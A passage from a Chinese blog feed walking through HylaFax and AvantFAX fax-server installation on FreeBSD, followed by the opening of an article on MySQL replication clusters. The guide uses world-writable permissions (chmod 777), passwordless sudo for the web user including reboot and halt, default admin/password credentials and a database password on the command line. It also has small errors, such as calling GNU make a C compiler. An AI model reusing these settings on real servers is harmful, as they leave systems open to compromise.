线路不好的时候，在什么百份比时进行检查[5]? 5</p>
<p>Max number of pages to accept in a received facsimile [25]?<br />
每次传真进来的最大可接收页数[25]? 25</p>
<p>Syslog faxility name for ServerTracing messages [daemon]?<br />
系统日志跟踪记录程序[daemon]? 按enter默认<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
Set UID to 0 to manipulate CLOCAL [""]?<br />
设置的UID为0操作CLOCAL[""]? 按enter默认</p>
<p>Use available priority job scheduling mechanism [""]?<br />
使用现有的优先工作调度机制[""]? 按enter默认</p>
<p>Are these ok [yes]?<br />
确认以上信息是否正确[yes]? yes</p>
<p>Probing for best speed to talk to modem：38400<br />
探索最佳速度交谈调制解调器： 38400</p>
<p>How should it be configured [1]?<br />
应如何配置[1]? 1</p>
<p>DTE-DCE flow control scheme [default]?<br />
流量控制方案[default]? 按enter默认</p>
<p>Are these ok [yes]?<br />
确认以上信息是否正确[yes]? yes</p>
<p>Do you want to run faxaddmodem to configure another modem [yes]?<br />
你想运行的另一个faxaddmodem配置调制解调器[yes]? no</p>
<p>Should I run faxmodem for each configured modem [yes]?<br />
应该为每个运行faxmodem配置调制解调器[yes]? yes</p>
<p>Done verifying system setup.<br />
完成核查系统设置。</p>
<p>编辑/etc/ttys 文件 ，查找“ttyd0&#8243;字节，修改为下面值(如果没有找，就在最后加上）</p>
<p>#vi /etc/ttys<br />
ttyd0   &#8220;/usr/local/sbin/faxgetty&#8221;      dialup  on</p>
<p>设置开机HylaFax服务自动运行</p>
<p>#cp /usr/local/etc/rc.d/hylafax.sh.sample /usr/local/etc/rc.d/hylafax.sh</p>
<p>启动HylaFax服务</p>
<p>#/usr/local/etc/rc.d/hylafax.sh start</p>
<p>HylaFax命令</p>
<p>faxstat -s （显示队列中等待发送的传真）<br />
faxstat -d （显示已发送的传真）<br />
faxstat -r （显示已接收的传真）<br />
faxrm number_of_job    (从队列中去删除一个传真)<br />
faxqclean    (清除缓冲池)<br />
faxcron        (显示统计结果)</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>AvantFAX (WebSite http://www.avantfax.com )</p>
<p>AvantFAX是一种Web应用管理传真的HylaFAX 服务器。<br />
AvantFAX允许用户在任何平台上，来查看和发送传真，而无需安装特殊的软件。它还允许管理员管理用户，他们的权限，传真线，传真类等<br />
AvantFAX可以从本地网络，并通过互联网远程使用标准的网络设备</p>
<p>安装说明: http://www.avantfax.com/install.php</p>
<p>安装AvantFAX之前要先安装以下软件：</p>
<p>HylaFAX 4.4 or HylaFAX EE 3<br />
PHP 5<br />
PHP PEAR 5 including MDB2_driver_mysql, Mail and Mail_Mime<br />
PECL FileInfo<br />
PHP mbstring &#8211; for improved UTF-8 sorting support (optional)<br />
PHP MySQL 5<br />
MySQL server 4.1.12 or better (see Important Notes below)<br />
Apache<br />
ImageMagick<br />
ghostscript<br />
libtiff<br />
netpbm-progs<br />
libungif<br />
sudo<br />
sendmail/postfix/exim/qmail or use an external SMTP server<br />
cups/lpr and psutils<br />
expect</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
apache</p>
<p>Package方法安装<br />
#pkg_add -r apache22</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/www/apache22<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
mysql51-server</p>
<p>Package方法安装<br />
#pkg_add -r mysql51-server</p>
<p>或者</p>
<p>Ports方法安装</p>
<p>#cd /usr/ports/databases/mysql51-server<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
PHP5</p>
<p>Ports方法安装<br />
#cd /usr/ports/lang/php5<br />
#make install clean<br />
//安装时记得选上第三项“APACHE Build Apache module&#8221;支持</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
PHP5-session</p>
<p>Package方法安装<br />
#pkg_add -r php5-session</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/www/php5-session<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
php5-mysql</p>
<p>Package方法安装<br />
#pkg_add -r php5-mysql</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/databases/php5-mysql<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-DB</p>
<p>Package方法安装<br />
#pkg_add -r pear-DB</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/databases/pear-DB<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-MDB2_Driver_mysql</p>
<p>Ports方法安装<br />
#cd /usr/ports/databases/pear-MDB2_Driver_mysql<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-Auth</p>
<p>Package方法安装<br />
#pkg_add -r pear-Auth</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/security/pear-Auth<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-Auth_SASL</p>
<p>Package方法安装<br />
#pkg_add -r pear-Auth_SASL</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/security/pear-Auth_SASL<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-Net_SMTP</p>
<p>Package方法安装<br />
#pkg_add -r pear-Net_SMTP</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/net/pear-Net_SMTP<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-Mail</p>
<p>Package方法安装<br />
#pkg_add -r pear-Mail</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/mail/pear-Mail<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-Mail_Mime</p>
<p>Package方法安装<br />
#pkg_add -r pear-Mail_Mime</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/mail/pear-Mail_Mime<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-Mail_mimeDecode</p>
<p>Package方法安装<br />
#pkg_add -r pear-Mail_mimeDecode</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/mail/pear-Mail_mimeDecode<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-PHP_Compat</p>
<p>Package方法安装<br />
#pkg_add -r pear-PHP_Compat</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/devel/pear-PHP_Compat<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-HTML_Common</p>
<p>Ports方法安装<br />
#cd /usr/ports/devel/pear-HTML_Common<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pear-HTML_QuickForm</p>
<p>Package方法安装<br />
#pkg_add -r pear-HTML_QuickForm</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/devel/pear-HTML_QuickForm<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
pecl-fileinfo</p>
<p>Package方法安装<br />
#pkg_add -r pecl-fileinfo</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/sysutils/pecl-fileinfo<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
php5-mbstring</p>
<p>Package方法安装<br />
#pkg_add -r php5-mbstring</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/converters/php5-mbstring<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
ImageMagick</p>
<p>Package方法安装<br />
#pkg_add -r ImageMagick</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/graphics/ImageMagick<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
smarty</p>
<p>Package方法安装<br />
#pkg_add -r smarty</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/www/smarty<br />
#make install clean<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
netpbm</p>
<p>Package方法安装<br />
#pkg_add -r netpbm</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/graphics/netpbm<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
libungif</p>
<p>Package方法安装<br />
#pkg_add -r libungif</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/graphics/libungif<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
sudo</p>
<p>Package方法安装<br />
#pkg_add -r sudo</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/security/sudo<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
cups</p>
<p>Package方法安装<br />
#pkg_add -r cups</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/print/cups<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
psutils-a4</p>
<p>Package方法安装<br />
#pkg_add -r psutils-a4</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/print/psutils-a4<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
expect</p>
<p>Package方法安装<br />
#pkg_add -r expect</p>
<p>或者</p>
<p>Ports方法安装<br />
#cd /usr/ports/lang/expect<br />
#make install clean</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>软件下载：http://www.avantfax.com/download.php</p>
<p>将下载到的软件包通过FTP上传到服务器的vincent目录下,解压:<br />
#cd /home/vincent<br />
#gunzip avantfax-3.1.6.tgz.gz<br />
#tar zxvf avantfax-3.1.6.tgz</p>
<p>移动avantfax Web目录:<br />
#cd avantfax-3.1.6<br />
#mv avantfax /usr/local/www/<br />
#chmod -R 777 /usr/local/www/avantfax/tmp /usr/local/www/avantfax/faxes<br />
#chown -R www:www /usr/local/www/avantfax//includes/templates</p>
<p># ln -s /usr/local/www/avantfax/includes/faxrcvd.php /var/spool/hylafax/bin/faxrcvd.php<br />
# ln -s /usr/local/www/avantfax/includes/dynconf.php /var/spool/hylafax/bin/dynconf.php<br />
# ln -s /usr/local/www/avantfax/includes/notify.php /var/spool/hylafax/bin/notify.php</p>
<p>编辑config.ttyd0 //我的是外置modem,连接电脑com1，所以是ttyd0<br />
# vi /var/spool/hylafax/etc/config.ttyd0</p>
<p>//添加<br />
#<br />
## AvantFAX configuration<br />
#<br />
FaxrcvdCmd:     bin/faxrcvd.php<br />
DynamicConfig:  bin/dynconf.php<br />
UseJobTSI:      true</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
编辑config<br />
# vi /var/spool/hylafax/etc/config</p>
<p>//添加<br />
#<br />
## AvantFAX configuration<br />
#<br />
NotifyCmd:      bin/notify.php</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
备份/替换faxcover程序<br />
#mv /usr/local/bin/faxcover /usr/local/bin/faxcover.old<br />
#ln -s /usr/local/www/avantfax/includes/faxcover.php /usr/local/bin/faxcover</p>
<p>设置HylaFax用户支持Avantfax<br />
#/usr/local/sbin/faxadduser -a pwd www<br />
#/usr/local/sbin/faxdeluser localhost<br />
#/usr/local/sbin/faxdeluser 127.0.0.1<br />
#echo 127.0.0.1 >> /var/spool/hylafax/etc/hosts.hfaxd</p>
<p>编辑Avantfax设置文件<br />
#cd /usr/local/www/avantfax/includes<br />
#cp local_config-example.php local_config.php<br />
#vi local_config.php</p>
<p>$BINARYDIR                      = &#8216;/usr/bin&#8217;;<br />
//修改为:<br />
$BINARYDIR                      = &#8216;/usr/local/bin&#8217;;  </p>
<p>$HYLAFAX_PREFIX                = &#8216;/usr&#8217;;<br />
//修改为:<br />
$HYLAFAX_PREFIX                = &#8216;/usr/local&#8217;; </p>
<p>$WWWUSER                        = &#8216;apache&#8217;;<br />
//修改为:<br />
$WWWUSER                        = &#8216;www&#8217;;</p>
<p>$dft_config_lang            = &#8216;en&#8217;;<br />
//修改为:<br />
$dft_config_lang             = &#8216;zh&#8217;;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
编辑hfaxd.conf<br />
#vi /usr/local/lib/fax/hfaxd.conf</p>
<p>#JobFmt:                &#8220;%-3j %3i %1a %6.6o %-12.12e %5P %5D %7z %.25s&#8221;<br />
//修改为:<br />
JobFmt:         &#8220;%-3j %3i %1a %15o %40M %-12.12e %5P %5D %7z %.25s&#8221;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
软件启动设置:<br />
#vi /etc/rc.conf<br />
//添加<br />
apache22_enable=&#8221;YES&#8221;<br />
mysql_enable=&#8221;YES&#8221;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
apache22设置</p>
<p>#vi /usr/local/etc/apache22/httpd.conf</p>
<p>DirectoryIndex index.html<br />
//修改为:<br />
DirectoryIndex index.html index.php</p>
<p>//添加<br />
AddType application/x-httpd-php .php<br />
AddType application/x-httpd-php-source .phps</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
新建fax.conf<br />
#vi /usr/local/etc/apache22/Includes/fax.conf</p>
<p>//添加<br />
NameVirtualHost *:80<br />
<VirtualHost *:80><br />
    ServerName fax.test.org<br />
    DocumentRoot /usr/local/www/avantfax/</p>
<p>    <Directory "/usr/local/www"><br />
        AllowOverride None<br />
        Options None<br />
        Order allow,deny<br />
        Allow from all<br />
    </Directory></p>
<p></VirtualHost></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
PHP程序连接<br />
#ln-s /usr/local/bin/php /usr/bin/php</p>
<p>启动apache<br />
#/usr/local/etc/rc.d/apapche start</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
avantfax数据导入</p>
<p>启动mysql<br />
#/usr/local/etc/rc.d/mysql start</p>
<p>导入数据<br />
#cd /home/vincent/avantfax-3.1.6<br />
#mysql -uroot < create_user.sql<br />
#mysql -uavantfax -pd58fe49 avantfax < create_tables.sql</p>
<p>--------------------------------------------------------<br />
编辑/etc/crontab<br />
# vi /etc/crontab</p>
<p>//添加<br />
# runs once an hour to update the phone book<br />
0 * * * * root /usr/local/www/avantfax/includes/phb.php<br />
# runs once a day to remove old files<br />
0 0 * * * root /usr/local/www/avantfax/includes/avantfaxcron.php -t 2</p>
<p>---------------------------------------------------------<br />
编辑/usr/local/etc/sudoers<br />
#vi /usr/local/etc/sudoers</p>
<p>//添加<br />
#Defaults    requiretty<br />
www ALL = NOPASSWD: /sbin/reboot, /sbin/halt, /usr/local/sbin/faxdeluser, /usr/local/sbin/faxadduser -u * -p * *</p>
<p>---------------------------------------------------------<br />
打开浏览器（IE/firefox/opera)，打上下面的网址：</p>
<p>http://192.168.1.203/admin/</p>
<p>username: admin<br />
password: password</p>
<p>新建 "传真分类" ---> 新建 &#8220;Modem&#8221; &#8212;> 新建 “用户”<br />
到此，服务器基本上可以使用。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1180.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>具有负载均衡功能的MySQL服务器集群部署及实现</title>
		<link>http://www.evanjiang.net.cn/archives/1134.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1134.html#comments</comments>
		<pubDate>Sat, 30 May 2009 17:04:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1134</guid>
		<description><![CDATA[<p>MySQL是一个高速度、高性能、多线程的关系型数据库管理系统，适用平台多，可扩展性强。在实际生产环境中，部署和实现具有一定负载均衡功能的MySQL服务器集群，对于提高用户数据库应用系统的性能、速度和稳定性具有明显的作用。本文简要介绍了在 FreeBSD 7.0-Release系统上部署实现MySQL服务器集群的方案，并对可能出现的问题提供了相应的解决方法。</p>
<p>　1. 引言</p>
<p>　　MySQL是一个高速度、高性能、多线程、开放源代码，建立在客户/服务器(Client /Server)结构上的关系型数据库管理系统(RDBMS)。它始于1979年，最初是Michael Widenius为瑞典TcX公司创建的UNIREG数据库系统，当时的UNIREG没有SQL(Structured Query Language结构化查询语言)接口，限制了它的应用。1996年5月，Widenius开发出了MySQL的最初版本，开始在Internet上公开发行。MySQL的开发人员从一开始就一直关注它的性能，为此不惜特性集，直到今天，MySQL依然保持本色，以高速度高性能为首要原则。随着时间的推移，MySQL也加入了大型数据库产品的高级特性，如存储过程、视图、触发器等，使其在企业级数据库系统中开始被部署应用[1]。2008年10 月，SUN公司收购了MySQL AB公司，开始进入开源领域。随着重量级操作系统Solaris的开源，SUN MySQL在数据库市场占有的份额将会进一步提高。因此，在生产环境中部署具有负载均衡功能的MySQL服务器集群，对于提高企业数据库应用系统的速度、稳定性及可伸缩性具有很大的现实意义，也可以有效降低应用系统的投资成本。本文将以FreeBSD 7.0-Release操作系统为例，利用MySQL数据库的复制(Replication)特性，简要介绍部署MySQL服务器集群的实现方法和相关注意事项。</p>
<p>　　2. 系统模型</p>
<p>　　本集群的结构为一个主MySQL服务器(Master)服务器与多个从属 MySQL服务器(Slave)建立复制(replication)连接，主服务器与从属服务器实现一定程度上的数据同步，多个从属服务器存储相同的数据副本，实现数据冗余，提供容错功能。部署开发应用系统时，对数据库操作代码进行优化，将写操作(如UPDATE、INSERT)定向到主服务器，把大量的查询操作(SELECT)定向到从属服务器，实现集群的负载均衡功能。如果主服务器发生故障，从属服务器将转换角色成为主服务器，使应用系统为终端用户提供不间断的网络服务;主服务器恢复运行后，将其转换为从属服务器，存储数据库副本，继续对终端用户提供数据查询检索服务。</p>
<p>　　3. 部署实现</p>
<p>　　本文以一台主服务器带三台从属服务器为例，简要介绍MySQL服务器集群的实现方案和具体方法步骤。</p>
<p>　　3.1 系统部署</p>
<p>　　由于FreeBSD系统对机器硬件要求较低，出于降低系统部署成本考虑，主服务器和从属服务器操作系统均采用FreeBSD 7.0-Release，并采用最小化定制安装，完成以后系统占用磁盘空间仅为254M(不计swap分区所占空间，它随具体机器内存容量的变化而变化)。为充分发挥系统硬件性能，MySQL数据库采用源代码编译安装。</p>
<p>　　3.1.1 安装FreeBSD系统</p>
<p>　　在主服务器和从属服务器上安装FreeBSD 7.0-Release，具体安装方法步骤不是本文主要内容，在此略过，如有疑问可以参考FreeBSD系统手册。需要说明的是为方便用户系统运行期间的维护管理，要打开系统的SSH服务功能，系统安装配置期间允许root用户远程登录，正常运行以后要关闭root用户的远程登录功能。在/etc/ssh /sshd_config配置文件中对PermitRootLogin设置为yes为允许root用户远程登录到系统，设置为no即为不允许。修改保存文件后执行kill –HUP `cat /var/run/sshd.pid`命令即可重启sshd守护进程，使设置生效[2]。上述操作需要root用户权限。

　3.1.2 编译安装MySQL</p>
<p>　　到MySQL的官方网站http://www.mysql.com下载MySQL数据库的安装源代码压缩包，本例下载的是mysql-5.1.30.tar.gz，以root用户身份登录到系统，开始安装MySQL数据库系统。</p>
<p>　　由于在对MySQL进行源代码编译安装时要求使用GNU的C编译器，而FreeBSD系统本身提供的不是该编译器，因此用户必须下载安装GNU C编译器[3]。把下载的gnumake-3.81.tar.gz解压安装，按如下步骤即可安装GNU C编译器：</p>
<p>　　[root@FreebsdMaster/softwares]# tar –zxvf gnumake-3.81.tar.gz</p>
<p>　　[root@FreebsdMaster /softwares]# cd make-3.81</p>
<p>　　[root@FreebsdMaster /softwares/make-3.81]# ./configure ; make; make install; make clean</p>
<p>　　GNU C编译器默认安装到/usr/local/bin，在安装MySQL时按绝对路径调用make命令即可，如# /usr/local/bin/make。</p>
<p>　　MySQL的编译安装比较复杂，具体操作及相关注意事项如下：</p>
<p>　　(1). 解压mysql-5.1.30.tar.gz，并进行配置</p>
<p>　　[root@FreebsdMaster /softwares]# tar –zxvf mysql-5.1.30.tar.gz</p>
<p>　　[root@FreebsdMaster /softwares]# cd mysql-5.1.30</p>
<p>　　[root@FreebsdMaster /softwares/mysql-5.1.30]# ./configure \</p>
<p>　　-–prefix=/app/mysql5 -–with-charset=gb2312</p>
<p>　　说明：MySQL默认的安装目录是/usr/local/mysql，为了增强系统部署的灵活性，紧贴用户应用系统实际情况，可以用—-prefix参数定制安装目录。&#8211;with-charset参数是使MySQL数据库支持中文gb2312字符集，如果需要支持其它字符集，使用&#8211;with- extra-charset参数，格式为—-with-extra-charset=CHARSET1,CHARSET2, [...]]]></description>
			<content:encoded><![CDATA[<p>MySQL是一个高速度、高性能、多线程的关系型数据库管理系统，适用平台多，可扩展性强。在实际生产环境中，部署和实现具有一定负载均衡功能的MySQL服务器集群，对于提高用户数据库应用系统的性能、速度和稳定性具有明显的作用。本文简要介绍了在 FreeBSD 7.0-Release系统上部署实现MySQL服务器集群的方案，并对可能出现的问题提供了相应的解决方法。</p>
<p>　1. 引言</p>
<p>　　MySQL是一个高速度、高性能、多线程、开放源代码，建立在客户/服务器(Client /Server)结构上的关系型数据库管理系统(RDBMS)。它始于1979年，最初是Michael Widenius为瑞典TcX公司创建的UNIREG数据库系统，当时的UNIREG没有SQL(Structured Query Language结构化查询语言)接口，限制了它的应用。1996年5月，Widenius开发出了MySQL的最初版本，开始在Internet上公开发行。MySQL的开发人员从一开始就一直关注它的性能，为此不惜特性集，直到今天，MySQL依然保持本色，以高速度高性能为首要原则。随着时间的推移，MySQL也加入了大型数据库产品的高级特性，如存储过程、视图、触发器等，使其在企业级数据库系统中开始被部署应用[1]。2008年10 月，SUN公司收购了MySQL AB公司，开始进入开源领域。随着重量级操作系统Solaris的开源，SUN MySQL在数据库市场占有的份额将会进一步提高。因此，在生产环境中部署具有负载均衡功能的MySQL服务器集群，对于提高企业数据库应用系统的速度、稳定性及可伸缩性具有很大的现实意义，也可以有效降低应用系统的投资成本。本文将以FreeBSD 7.0-Release操作系统为例，利用MySQL数据库的复制(Replication)特性，简要介绍部署MySQL服务器集群的实现方法和相关注意事项。</p>
<p>　　2. 系统模型</p>
<p>　　本集群的结构为一个主MySQL服务器(Master)服务器与多个从属 MySQL服务器(Slave)建立复制(replication)连接，主服务器与从属服务器实现一定程度上的数据同步，多个从属服务器存储相同的数据副本，实现数据冗余，提供容错功能。部署开发应用系统时，对数据库操作代码进行优化，将写操作(如UPDATE、INSERT)定向到主服务器，把大量的查询操作(SELECT)定向到从属服务器，实现集群的负载均衡功能。如果主服务器发生故障，从属服务器将转换角色成为主服务器，使应用系统为终端用户提供不间断的网络服务;主服务器恢复运行后，将其转换为从属服务器，存储数据库副本，继续对终端用户提供数据查询检索服务。</p>
<p>　　3. 部署实现</p>
<p>　　本文以一台主服务器带三台从属服务器为例，简要介绍MySQL服务器集群的实现方案和具体方法步骤。</p>
<p>　　3.1 系统部署</p>
<p>　　由于FreeBSD系统对机器硬件要求较低，出于降低系统部署成本考虑，主服务器和从属服务器操作系统均采用FreeBSD 7.0-Release，并采用最小化定制安装，完成以后系统占用磁盘空间仅为254M(不计swap分区所占空间，它随具体机器内存容量的变化而变化)。为充分发挥系统硬件性能，MySQL数据库采用源代码编译安装。</p>
<p>　　3.1.1 安装FreeBSD系统</p>
<p>　　在主服务器和从属服务器上安装FreeBSD 7.0-Release，具体安装方法步骤不是本文主要内容，在此略过，如有疑问可以参考FreeBSD系统手册。需要说明的是为方便用户系统运行期间的维护管理，要打开系统的SSH服务功能，系统安装配置期间允许root用户远程登录，正常运行以后要关闭root用户的远程登录功能。在/etc/ssh /sshd_config配置文件中对PermitRootLogin设置为yes为允许root用户远程登录到系统，设置为no即为不允许。修改保存文件后执行kill –HUP `cat /var/run/sshd.pid`命令即可重启sshd守护进程，使设置生效[2]。上述操作需要root用户权限。<br />
<span id="more-1134"></span><br />
　3.1.2 编译安装MySQL</p>
<p>　　到MySQL的官方网站http://www.mysql.com下载MySQL数据库的安装源代码压缩包，本例下载的是mysql-5.1.30.tar.gz，以root用户身份登录到系统，开始安装MySQL数据库系统。</p>
<p>　　由于在对MySQL进行源代码编译安装时要求使用GNU的C编译器，而FreeBSD系统本身提供的不是该编译器，因此用户必须下载安装GNU C编译器[3]。把下载的gnumake-3.81.tar.gz解压安装，按如下步骤即可安装GNU C编译器：</p>
<p>　　[root@FreebsdMaster/softwares]# tar –zxvf gnumake-3.81.tar.gz</p>
<p>　　[root@FreebsdMaster /softwares]# cd make-3.81</p>
<p>　　[root@FreebsdMaster /softwares/make-3.81]# ./configure ; make; make install; make clean</p>
<p>　　GNU C编译器默认安装到/usr/local/bin，在安装MySQL时按绝对路径调用make命令即可，如# /usr/local/bin/make。</p>
<p>　　MySQL的编译安装比较复杂，具体操作及相关注意事项如下：</p>
<p>　　(1). 解压mysql-5.1.30.tar.gz，并进行配置</p>
<p>　　[root@FreebsdMaster /softwares]# tar –zxvf mysql-5.1.30.tar.gz</p>
<p>　　[root@FreebsdMaster /softwares]# cd mysql-5.1.30</p>
<p>　　[root@FreebsdMaster /softwares/mysql-5.1.30]# ./configure \</p>
<p>　　-–prefix=/app/mysql5 -–with-charset=gb2312</p>
